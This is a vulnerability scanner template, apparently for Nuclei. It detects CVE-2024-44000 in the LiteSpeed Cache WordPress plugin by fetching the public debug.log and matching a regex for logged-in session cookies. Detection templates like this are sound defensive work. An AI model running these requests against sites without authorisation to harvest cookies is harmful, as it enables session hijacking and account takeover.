id: CVE-2024-44000

info:
  name: LiteSpeed Cache <= 6.4.1 - Sensitive Information Exposure
  author: s4e-io
  severity: high
  description: |
    The LiteSpeed Cache plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 6.4.1 through the debug.log file that is publicly exposed. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log file. The log file may contain user cookies making it possible for an attacker to log in with any session that is actively valid and exposed in the log file. Note: the debug feature must be enabled for this to be a concern and this feature is disabled by default.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-641-unauthenticated-sensitive-information-exposure-via-log-files
    - https://github.com/absholi7ly/CVE-2024-44000-LiteSpeed-Cache
    - https://github.com/gbrsh/CVE-2024-44000
    - https://thehackernews.com/2024/09/critical-security-flaw-found-in.html
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_litespeed_cookie_theft.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-44000
    cwe-id: CWE-532
    epss-score: 0.92012
    epss-percentile: 0.99691
  metadata:
    verified: true
    max-request: 2
    vendor: liteSpeed-technologies
    product: liteSpeed-cache
    framework: wordpress
    publicwww-query: "/wp-content/plugins/litespeed-cache"
  tags: cve,cve2024,info-leak,takeover,wordpress,wp-plugin,litespeed-cache,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/litespeed-cache")'
        internal: true

  - raw:
      - |
        GET /wp-content/debug.log HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: response
        regex:
          - "(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)"

      - type: word
        part: content_type
        words:
          - 'text/plain'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008212e9e31b12d6dfce1c7483036533f07ce089fce62d259b0ba0a4276614602f022100cf87eca5653f16b23ec00761c7532580f56a5b5960675f5e46460c6b907e0534:922c64590222798bb761d5b6d8e72950